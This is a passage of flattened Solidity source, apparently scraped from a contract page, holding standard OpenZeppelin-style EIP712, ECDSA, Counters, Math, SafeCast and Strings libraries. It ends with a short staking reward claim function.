_CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } }
Transfer accrued reward to msg.sender. User accrued reward will be reset and user reward index will be set to the current reward index.
function claim() external override stakingInitiated { _claim(msg.sender); }
1,237,130